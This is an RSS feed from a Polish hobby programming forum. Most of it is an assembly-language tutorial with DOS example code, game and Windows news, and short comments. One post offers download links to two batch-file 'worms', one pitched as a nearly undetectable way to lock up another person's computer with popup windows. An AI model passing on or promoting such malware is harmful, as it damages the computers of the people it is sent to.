<?xml version="1.0" encoding="iso-8859-2"?>
<rss version="2.0">
<channel>
<title>Forum Seamon Studio Polska</title>
<link>http://www.seamon-studio.pun.pl</link>
<description> Forum Seamon Studio Polska</description>
<language>pl</language>
<docs>http://backend.userland.com/rss</docs>
<item>
<title></title>
<link>http://www.seamon-studio.pun.pl/viewtopic.php?pid=32#p32</link>
<guid isPermaLink="false">32@http://www.seamon-studio.pun.pl</guid>
<description><![CDATA[¦wietny tutek, język zrozumiały, ale widać małe problemy z polskimi znakami :). Mam takie pytanko, czy znasz może jakie¶ namiary na tutka asemblera wideo pl od podstaw czyli od zmiennych po funkcje i inne większe rzeczy ? nawet płatny. W necie jest trochę, ale głównie anglojęzyczne, a przydałby się tutek po polsku. Np używany z programem EdSim51DI (z kodem asemblera). Albo czy mógłby¶ polecić przynajmniej jak±¶ fajn± ksi±żkę gdzie jest dobrze opisane od pocz±tku do końca z przykładami i najlepiej co dany rozdział z przykładami :). <br /><br />No i wiem wiem, że temat był lata temu no ale może jeszcze stronka funkcjonuje i w ogóle :).<br /><br />Z góry dzięki]]></description>
<pubDate>PoniedziaĹ‚ek 14 PaÂździernik</pubDate>
<comments>PoniedziaĹ‚ek 14 PaÂździernik</comments>
</item>
<item>
<title>Dwa proste robaczki</title>
<link>http://www.seamon-studio.pun.pl/viewtopic.php?pid=31#p31</link>
<guid isPermaLink="false">31@http://www.seamon-studio.pun.pl</guid>
<description><![CDATA[Szkoda , że tylko 50 krotnie :D]]></description>
<pubDate>Sobota 20 GrudzieĹ„</pubDate>
<comments>Sobota 20 GrudzieĹ„</comments>
</item>
<item>
<title>Stop reklamom!</title>
<link>http://www.seamon-studio.pun.pl/viewtopic.php?pid=30#p30</link>
<guid isPermaLink="false">30@http://www.seamon-studio.pun.pl</guid>
<description><![CDATA[Jest to informacja dla użytkowników Mozilli Firefox. Istnieje dla tej przegl±darki dodatek umożliwiaj±cy usuwanie reklam ze stron www. Można go pobrać ze strony <a href="http://adblockplus.org/en/" target="_blank" rel="nofollow">producenta</a>.]]></description>
<pubDate>PiĹˇtek 19 GrudzieĹ„</pubDate>
<comments>PiĹˇtek 19 GrudzieĹ„</comments>
</item>
<item>
<title></title>
<link>http://www.seamon-studio.pun.pl/viewtopic.php?pid=29#p29</link>
<guid isPermaLink="false">29@http://www.seamon-studio.pun.pl</guid>
<description><![CDATA[Ja polecam też Visual C++, którego można pobrać ze strony <a href="http://microsoft.com/" target="_blank" rel="nofollow">microsoftu</a>.]]></description>
<pubDate>PiĹˇtek 19 GrudzieĹ„</pubDate>
<comments>PiĹˇtek 19 GrudzieĹ„</comments>
</item>
<item>
<title>Seamon-Studio</title>
<link>http://www.seamon-studio.pun.pl/viewtopic.php?pid=28#p28</link>
<guid isPermaLink="false">28@http://www.seamon-studio.pun.pl</guid>
<description><![CDATA[Nasze forum, ma też stronę na której znajdziecie wiele ciekawych informacji. <br /><a href="http://www.seamon-studio.cba.pl/" target="_blank" rel="nofollow">http://www.seamon-studio.cba.pl/</a>]]></description>
<pubDate>PiĹˇtek 19 GrudzieĹ„</pubDate>
<comments>PiĹˇtek 19 GrudzieĹ„</comments>
</item>
<item>
<title>Windows 7</title>
<link>http://www.seamon-studio.pun.pl/viewtopic.php?pid=27#p27</link>
<guid isPermaLink="false">27@http://www.seamon-studio.pun.pl</guid>
<description><![CDATA[<img class="postimg" src="http://www.windows7.pl/obrazki/n/_windows_7_beta_1_-_testerzy_zaproszeni.jpg" alt="http://www.windows7.pl/obrazki/n/_windows_7_beta_1_-_testerzy_zaproszeni.jpg" />Microsoft szykuje dla nas nowy system jakim jest Windows 7. Nazwa jest na razie robocz±, więc w przyszło¶ci może się zmienić. Jest on jakby ulepszon± Vist±, ponieważ poprzedni system był nieporozumieniem. Nowego dziecka Microsoft, można spodziewać się nie wcze¶niej niż 2010 roku.<br />Przedstawiam wam tu parę screenów tego systemu:<br /><img class="postimg" src="http://blogs.chron.com/techblog/archives/win7jpg.jpg" alt="http://blogs.chron.com/techblog/archives/win7jpg.jpg" /><br /><img class="postimg" src="http://www.windows7.cc/wp-content/concept_windows_7_by_digitalsoft.jpg" alt="http://www.windows7.cc/wp-content/concept_windows_7_by_digitalsoft.jpg" /><br /><img class="postimg" src="http://www.slashgear.com/gallery/data_files/7/4/Windows_7_MultiTouch_3.jpg" alt="http://www.slashgear.com/gallery/data_files/7/4/Windows_7_MultiTouch_3.jpg" />]]></description>
<pubDate>PiĹˇtek 19 GrudzieĹ„</pubDate>
<comments>PiĹˇtek 19 GrudzieĹ„</comments>
</item>
<item>
<title>Dwa proste robaczki</title>
<link>http://www.seamon-studio.pun.pl/viewtopic.php?pid=26#p26</link>
<guid isPermaLink="false">26@http://www.seamon-studio.pun.pl</guid>
<description><![CDATA[1 robak:<br />Służy do namolnego wy¶wietlania okienek programu. Możemy go wysłać pewnej osobie, aby zablokować jej kompa. Wirus jest prawie nie wykrywalny.<br />Download:<br /><a href="http://rapidshare.com/files/174866509/hhdnv.bat" target="_blank" rel="nofollow">http://rapidshare.com/files/174866509/hhdnv.bat</a><br /><br />2 robak:<br />Program nic innego nie robi, tylko kopiuje się 50 krotnie. W wirus zajmuje ponad 2 mb.<br />Download:<br /><a href="http://rapidshare.com/files/174872551/hdd.bat" target="_blank" rel="nofollow">http://rapidshare.com/files/174872551/hdd.bat</a>]]></description>
<pubDate>PiĹˇtek 19 GrudzieĹ„</pubDate>
<comments>PiĹˇtek 19 GrudzieĹ„</comments>
</item>
<item>
<title></title>
<link>http://www.seamon-studio.pun.pl/viewtopic.php?pid=25#p25</link>
<guid isPermaLink="false">25@http://www.seamon-studio.pun.pl</guid>
<description><![CDATA[Po jakiemu ty piszesz?]]></description>
<pubDate>PiĹˇtek 19 GrudzieĹ„</pubDate>
<comments>PiĹˇtek 19 GrudzieĹ„</comments>
</item>
<item>
<title></title>
<link>http://www.seamon-studio.pun.pl/viewtopic.php?pid=24#p24</link>
<guid isPermaLink="false">24@http://www.seamon-studio.pun.pl</guid>
<description><![CDATA[Witam smile.gif<br /><br />Jakoś tak znudzony po szkole postanowiłem, że napiszę jakiś kursik Asma dla początkujących. Kurs będzie się opierał na kompilatorze NASM (wg. mnie najwygodniejszy, działa pod Linuchem i Windą).<br />Zacznijmy od tego co będzie nam potrzebne:<br />- &quot;świeży mózg&quot; - można się przejść na spacer, albo coś. Ważne żeby się &quot;luźno&quot; myślało wink.gif (ciężko z tym po szkole)<br />- trochę czasu - jak na wszystko<br />- kompilator - NASM'a. (Pobierz&gt;&gt;)<a href="http://www.nasm.us/" target="_blank" rel="nofollow">http://www.nasm.us/</a><br />- edytor - coś do pisania kodu. Ja korzystam z Notepada, albo RadASMa. Mogę polecić NasmIDE. Ładnie koloruje kod, tylko, że jest w konsoli.<br /><br />Wypakowywujemy nasma do C:\Nasm. Otwieramy PPM na Mój Komputer &gt; Właściwości &gt; Zaaw. &gt; Zmienne środowiskowe. Do zmiennej Path dodajemy ciąg &quot;C:\Nasm\bin;&quot;. Bez spacji. Zatwierdzamy i gotowe.<br /><br />Po co nam Asembler, zapytacie. Otóż po to, żeby pisać wielokroć szybsze i mniejsze programy, niż te pisane w HLL'ach (High-Level Language, język wysokiego poziomu). Asembler przydaje się m.in. przy optymalizacji kodu HLL'a, szukaniu bugów (debuggery), pisaniu cracków do gier wink.gif, reverse engineeringu (chyba tak się to pisze), no i co najważniejsze: przy kodzeniu biggrin.gif<br /><br />Niejeden powie, że Asm jest trudny i niewygodny. Owszem, zgodzę się z tym. Z początku może wyglądać na trudny, ale po napisaniu kilku programów i zrozumieniu ich działania jest bardzo prosty. Czy jest niewygodny ? Zależy od upodobań. Zwykle kod jest długi, ponieważ każdą instrukcję wydaje się w osobnej linii, ale na pewno się opłaca się go nauczyć.<br /><br />Instrukcje zwykle przyjmują formę:<br />KOD<br />instrukcja cel, źródło<br /><br />Niektóre instrukcje, jak odkładanie parametrów na stos (Wiki), czy zdejmowanie ich. O nich dowiemy się kiedy indziej.<br /><br />Teraz podam przykładowy kod nieśmiertelnego Hello World xD Niech nikt się nie przeraża i nie ucieka... Wszystko dokładnie wytłumaczę smile.gif<br />KOD<br />; Nasz pierwszy program<br />; Nieśmiertelne Hello World :)<br /><br />org 100h<br /><br />; Stałe. Podobne jak w C++<br />%define cr 13<br />%define lf 10<br />%define nwln cr, lf<br /><br />section .data<br />HelloWorld db &quot;Hello World!&quot;, nwln, '$'<br /><br />section .text<br />global _start<br /><br />_start:<br />; Wypisujemy Hello World<br />&nbsp; &nbsp; mov ah, 9<br />&nbsp; &nbsp; mov dx, HelloWorld<br />&nbsp; &nbsp; int 21h<br /><br />; Oczekujemy na wciśnięcie klawisza<br />&nbsp; &nbsp; mov ah, 0<br />&nbsp; &nbsp; int 16h<br /><br />; Wychodzimy z programu<br />&nbsp; &nbsp; mov ax, 4C00h<br />&nbsp; &nbsp; int 21h<br /><br /><br />Straszne? Zaraz udowodnię, że nie wink.gif<br />Komentarze rozpoczynają się znakiem ';'. Wszystko co za nimi (w danej linii) nie jest ważne dla kompilatora. Jest to tylko informacja dla programisty.<br /><br />KOD<br />org 100h<br /><br />Ta instrukcja oznacza, że program zaczyna się pod adresem (offsetem) 100h (256 dziesiętnie). Przyrostek 'h' oznacza, że liczba jest zapisana w systemie heksadecymalnym (szesnastkowym). Przyrostek 'b' oznacza liczbę binarną, a brak przyrostka dziesiętną. Początek kodu pod tym offsetem jest charakterystyczna dla plików *.com. Są to właśnie programy pisane w Asmie. Przed tym adresem znajdują się inne informacje, tj. linia poleceń itp...<br /><br />Stałych raczej nie muszę tłumaczyć.<br /><br />KOD<br />section .data<br />HelloWorld db &quot;Hello World!&quot;, nwln, '$'<br /><br />section .data oznacza początek segmentu danych programu. W pliku wykonalnym takich segmentów jest kilka: .text (kod programu), .data (jego dane), .bss(dane niezainicjalizowane), .heap (sterta), .stack (stos) itp...<br />W naszym programie jest tylko jedna zmienna. Jest to napis HelloWorld.<br />'db' oznacza Declare Byte (deklaruj bajt), tak więc HelloWorld jest tablicą bajtów. Ciągi znaków w DOS'ie są zakańczane znakami dolara, tak jak tutaj.<br />Jest kilka instrukcji deklarujących dane, są to:<br />- db - wiadomo - 1 bajt (char w C++)<br />- dw - Declare Word - 2 bajty (short int w C++)<br />- dd - Declare Double Word (DWORD) - 4 bajty (int w C++)<br />- dq - Declare Quadro Word (QWORD) - 8 bajtów (long i double w C++)<br />- dt - Declare Ten Bytes - 10 bajtów<br />- resb - rezerwuje 1 bajt<br />- resw - analogicznie do pozostałych smile.gif<br />itd...<br /><br />section .text - początek sekcji kodu naszego programu<br /><br />global _start - oznaczenie punktu startu programu dla linkera.<br /><br />_start: - etykieta mówiąca gdzie program się zaczyna<br /><br />mov ah, 9 - Wrzucamy do rejestru AH wartość 9. Jest to numer funkcji DOS'a wypisującej na ekranie dany w rejestrze DX ciąg znaków.<br />Rejestry to takie specjalne &quot;zmienne&quot; procesora. Jego własna pamięć. Rejestrów jest trochę:<br />- EAX - rejestr akumulatora, dzieli się na: 32 starsze bity + AX (rejestry: AH + AL). Wykorzystuje się go głównie do wartości zwracanych przez funkcję (procedurę) i mówienia systemowi, z której funkcji chcemy skorzystać.<br />- EBX - rejestr bazowy, dzieli się na: 32 starsze bity + BX (BH + BL).<br />- ECX - rejestr licznika, dzieli się analogicznie do poprzednich. Jest wykorzystywany przy pętlach, w nim zawarta jest ilość skoków do etykiety pętli.<br />- EDX - rejestr danych, wiadomo jak się dzieli. W nim zwykle ląduje adres do ciągu znaków od wypisania itp.<br />- ESI - rejestr źródłowy. Wykorzystywany przy przetwarzaniu ciągów znakowych.<br />- EDI - rejest docelowy. Jak wyżej.<br />- ESP - wskaźnik stosu. Wskazuje na koniec stosu.<br />- EBP - wskaźnik bazowy. Zwykle używa się go do uzyskiwania dostępu do zmiennych lokalnych.<br />- CS - rejestr segmentu kodu<br />- DS - rejestr segmentu danych<br />- SS - rejestr stosu<br />- flagi: jest ich trochę. Omówię kilka głównych:<br />- CF - flaga przeniesienia<br />- ZF - flaga zera (równości)<br />- OF - flaga przepełnienia<br />- PF - flaga parzystości<br />- DF - flaga kierunku<br />- SF - flaga znaku.<br />Nie musicie znać tych wszystkich rejestrów na pamięć (nawet ja nie wszystkie pamiętam, tylko te ważniejsze wink.gif ) i tak same wchodzą do głowy.<br /><br />int 21h - wywołanie przerwania DOS'a o numerze 21h, które to wywołuje funkcję o numerze zawartym w rejestrze AX. Int oznacza wywołanie przerwania, dalej jest jego numer. Przerwania są różne: sprzętowe, systemowe itp... My korzystamy głównie z systemowych.<br /><br />int 16h - wywołuje przerwanie BIOS'u i analogicznie do poprzedniego odpowiednią funkcję.<br /><br />mov ax, 4C00h - do rejestru AX, leci numer funkcji wyjścia z programu<br />int 21h - przerwanie DOS'a<br /><br />Kompilacja prorgamu:<br />Start &gt; Uruchom &gt; cmd &gt; przemieszczamy się do folderu gdzie jest nasz plik źródłowy z kodem helloworlda i wydajemy polecenie:<br />KOD<br />nasm helloworld.asm -o helloworld.com<br /><br />Odpalamy i naszym oczom ukazuje się napis, który każdy widział kiedy zaczynał swoją zabawę z programowaniem biggrin.gif<br />W tym momencie warto spojrzeć na rozmiar pliku wykonalnego. Jego rozmiar wynosi 31 BAJTÓW!! Cudnie, nieprawdaż? To tysiące razy krócej niż tasiemce produkowane przez HLL'e (nie żebym miał coś przeciwko, sam w kodzę w C++ xD).<br /><br />Myślę, że wszystko związane z tym programem powinno być jasne. W celu nabycia trochę większej praktyki zaprezentuję jeszcze jeden program. Pyta on użytkownika o imię i grzecznie się z nim wita. Poza funkcjami DOS'a wypisującymi dane na ekranie będziemy musieli użyć funkcji, która odczyta te dane, bo skąd będziemy znać imię użytkownika?<br />Ta funkcja to 0Ah przerwania int 21h (gdy szykamy jakiejś funkcji warto skorzystać z Listy Przerwań Ralfa Browna - link niżej). Funkcja ta przyjmuje jako parametr ciąg bajtów, pierwszy bajt to liczba określająca pojemność bufora, drugi zwróci nam sama funkcja, tam będzie ilość odczytanych bajtów. Reszta to bufor na imię.<br />KOD<br />; Witajka;)<br /><br />org 100h; Program com<br /><br />; Stałe<br />%define cr 13<br />%define lf 10<br />%define nwln 13, 10<br /><br />; Dane naszego programu<br />section .data<br />logo db &quot;Witajka&quot;, nwln, nwln, '$'<br />entername db &quot;Podaj swoje imie: $&quot;<br />name db 15<br />&nbsp; &nbsp; &nbsp;db 0<br />&nbsp; &nbsp; &nbsp;times 15 db '$'<br />; Tutaj małe wytłumaczonko. Operator &quot;times&quot; rozmnaża daną wartość ileś razy.<br />; times &lt;ile razy&gt; db &lt;co&gt;<br />hello db nwln,&quot;Witaj $&quot;<br />bye db nwln,&quot;Aby zakonczyc nacisnij dowolny klawisz...$&quot;<br /><br />; Kod programu<br />section .text<br />global _start<br /><br />_start:<br />; Wyświetlamy logo<br />&nbsp; &nbsp; mov ah, 9<br />&nbsp; &nbsp; mov dx, logo<br />&nbsp; &nbsp; int 21h<br />&nbsp; &nbsp; <br />; Wyśeiwlamy prośbę o imię<br />&nbsp; &nbsp; mov ah, 9<br />&nbsp; &nbsp; mov dx, entername<br />&nbsp; &nbsp; int 21h<br />&nbsp; &nbsp; <br />; Pobieramy imię<br />&nbsp; &nbsp; mov ah, 0Ah; Czemu 0Ah ? Ponieważ liczby nie mogą się zaczynać od znaku. Muszą od cyfry.<br />&nbsp; &nbsp; mov dx, name<br />&nbsp; &nbsp; int 21h<br />&nbsp; &nbsp; <br />; Wyświetlamy powitanie i imię usera<br />&nbsp; &nbsp; mov ah, 9<br />&nbsp; &nbsp; mov dx, hello<br />&nbsp; &nbsp; int 21h<br />&nbsp; &nbsp; <br />&nbsp; &nbsp; mov ah, 9<br />&nbsp; &nbsp; mov dx, name+2; Imię usera zaczyna się dopiero od drugiego bajtu bufora.<br />&nbsp; &nbsp; int 21h<br />&nbsp; &nbsp; <br />; Wyświetlamy pożegnanie<br />&nbsp; &nbsp; mov ah, 9<br />&nbsp; &nbsp; mov dx, bye<br />&nbsp; &nbsp; int 21h<br />&nbsp; &nbsp; <br />; Oczekujemy na klawisz i wychodzimy z programu.<br />&nbsp; &nbsp; mov ah, 0<br />&nbsp; &nbsp; int 16h<br />&nbsp; &nbsp; <br />&nbsp; &nbsp; mov ax, 4C00h; Trzeba wrzucić do AX, bo do AH się nie zmieści<br />&nbsp; &nbsp; int 21h<br /><br />Kompilacja odbywa się tak jak poprzednio przez wydanie komendy:<br />KOD<br />nasm witajka.asm -o witajka.com<br /><br /><br />Mam nadzieję, że zachęciłem chociaż jedną osobę do głębszego poznania Asemblera wink.gif<br />W razie problemów proszę pisać - od tego jest forum.<br /><br />Jeśli ktoś jest głodny wiedzy mogę polecić tutorial BogDro (klik).<br />Listę przerwań Ralfa Browna można znaleźć tutaj.<br />Kody źródłowe i skompilowane pliki wykonalne można znaleźć na <a href="http://www.sinis.yoyo.pl/pub/asmik.rar" target="_blank" rel="nofollow">http://www.sinis.yoyo.pl/pub/asmik.rar</a><br /><br />Pozdrawiam<br /><br />Tutorial Nie Jest Mój Ale Jest Ciekawy Więc Go W Trąciłem Tutaj Na Forum ;)]]></description>
<pubDate>Czwartek 18 GrudzieĹ„</pubDate>
<comments>Czwartek 18 GrudzieĹ„</comments>
</item>
<item>
<title></title>
<link>http://www.seamon-studio.pun.pl/viewtopic.php?pid=23#p23</link>
<guid isPermaLink="false">23@http://www.seamon-studio.pun.pl</guid>
<description><![CDATA[Przydatny artykuł. Czekam na dalsz± czę¶ć.]]></description>
<pubDate>Czwartek 18 GrudzieĹ„</pubDate>
<comments>Czwartek 18 GrudzieĹ„</comments>
</item>
<item>
<title>Need For Speed: Undercorver</title>
<link>http://www.seamon-studio.pun.pl/viewtopic.php?pid=22#p22</link>
<guid isPermaLink="false">22@http://www.seamon-studio.pun.pl</guid>
<description><![CDATA[zajeb**** jutro od kumpla pożyczam z bloku:P<br />Bo starzy nie długo ramu maj± mi dokupić :D]]></description>
<pubDate>Czwartek 18 GrudzieĹ„</pubDate>
<comments>Czwartek 18 GrudzieĹ„</comments>
</item>
<item>
<title>Need For Speed: Undercorver</title>
<link>http://www.seamon-studio.pun.pl/viewtopic.php?pid=21#p21</link>
<guid isPermaLink="false">21@http://www.seamon-studio.pun.pl</guid>
<description><![CDATA[<img class="postimg" src="http://www.gry-online.pl/Galeria/Gry8/411892640.jpg" alt="http://www.gry-online.pl/Galeria/Gry8/411892640.jpg" /><br />Opis: <br />Need for Speed: Undercover to dwunasta odsłona serii gier wy¶cigowych od Electronic Arts. Produkcja przygotowana przez kanadyjski oddział firmy zrywa z ide± legalnych, torowych wy¶cigów, którymi uraczono graczy w ProStreet i przenosi fanów szybkiej jazdy z powrotem do podziemia.<br /><br />Need for Speed: Undercover to dwunasta odsłona serii gier wy¶cigowych od Electronic Arts. Produkcja przygotowana przez kanadyjski oddział firmy zrywa z ide± legalnych, torowych wy¶cigów, którymi uraczono klientów w ProStreet i przenosi fanów szybkiej jazdy z powrotem do podziemia. Opisywany produkt jest pierwsz± z odsłon cyklu, która ukazała się nie tylko na komputerach osobistych i konsolach, ale również na telefonach komórkowych iPhone.<br /><br />Zamiast wrzucać graczy od razu w wir zmagań o tytuł króla ulicznych wy¶cigów, deweloperzy położyli szczególny nacisk na fabułę, maj±c± za zadanie wprowadzić odbiorców w ¶wiat kierowców, którzy zmagaj±c się w zawodach typu Bitwa na autostradzie lub Wyprzedzanie, codziennie balansuj± na granicy prawa. Historię w Undercover opowiedziano przy użyciu przerywników filmowych z udziałem prawdziwych aktorów. W¶ród osób przewijaj±cych się na ekranie wyst±piła m.in. piosenkarka Christina Milian, która wcieliła się w postać pięknej Carmen.<br /><br />Programi¶ci z Vancouver zadbali też o dostarczenie graczom odpowiedniej liczby aut znanych marek, przeznaczonych do jazdy z zabójcz± prędko¶ci± i podatnych na tuning &#8211; zarówno optyczny, jak i mechaniczny. Need for Speed: Undercover tradycyjnie oferuje również ulepszon± oprawę graficzn± oraz bogat± ¶cieżkę dĽwiękow±, stworzon± przy udziale artystów z całego ¶wiata.<br /><br />Wymagania:<br />Pentium 4 3 GHz, 2 GB RAM, karta grafiki 512 MB (GeForce 8800 lub lepsza), 5.5 GB HDD, Windows XP SP3/Vista SP1<br /><br />Screeny:<br /><br /><img class="postimg" src="http://www.gry-online.pl/galeria/galeria_duze/184461593.jpg" alt="http://www.gry-online.pl/galeria/galeria_duze/184461593.jpg" /><br /><img class="postimg" src="http://www.gry-online.pl/galeria/galeria_duze/184461093.jpg" alt="http://www.gry-online.pl/galeria/galeria_duze/184461093.jpg" /><br /><img class="postimg" src="http://www.gry-online.pl/galeria/galeria_duze/184452250.jpg" alt="http://www.gry-online.pl/galeria/galeria_duze/184452250.jpg" />]]></description>
<pubDate>Czwartek 18 GrudzieĹ„</pubDate>
<comments>Czwartek 18 GrudzieĹ„</comments>
</item>
<item>
<title></title>
<link>http://www.seamon-studio.pun.pl/viewtopic.php?pid=20#p20</link>
<guid isPermaLink="false">20@http://www.seamon-studio.pun.pl</guid>
<description><![CDATA[Oto skład Seamon Studio Polska:<br />- Rewlisz( programista, grafik i web desinger)<br />- MrDeViL( programista, hakier )<br />Doł±cz do nas już dzi¶!<br />Wystarczy, że pokażesz co umiesz. Wy¶lij nam swoje 3 prace/programy czy utworki, a doł±czysz do naszego grona. Zgłoszenia proszę przesyłać na seamon@onet.eu, w mailu proszę o podanie kim chcemy zostać.]]></description>
<pubDate>Czwartek 18 GrudzieĹ„</pubDate>
<comments>Czwartek 18 GrudzieĹ„</comments>
</item>
<item>
<title>Wasze prace</title>
<link>http://www.seamon-studio.pun.pl/viewtopic.php?pid=19#p19</link>
<guid isPermaLink="false">19@http://www.seamon-studio.pun.pl</guid>
<description><![CDATA[W tym temacie możecie wstawiać swoje graficzki. Ja zacznę:<br /><img class="postimg" src="http://i40.tinypic.com/hsrf5z.png" alt="http://i40.tinypic.com/hsrf5z.png" />]]></description>
<pubDate>Czwartek 18 GrudzieĹ„</pubDate>
<comments>Czwartek 18 GrudzieĹ„</comments>
</item>
<item>
<title>[JavaScript] Zmienne</title>
<link>http://www.seamon-studio.pun.pl/viewtopic.php?pid=18#p18</link>
<guid isPermaLink="false">18@http://www.seamon-studio.pun.pl</guid>
<description><![CDATA[ciekawe...]]></description>
<pubDate>Czwartek 18 GrudzieĹ„</pubDate>
<comments>Czwartek 18 GrudzieĹ„</comments>
</item>
</channel>
</rss>
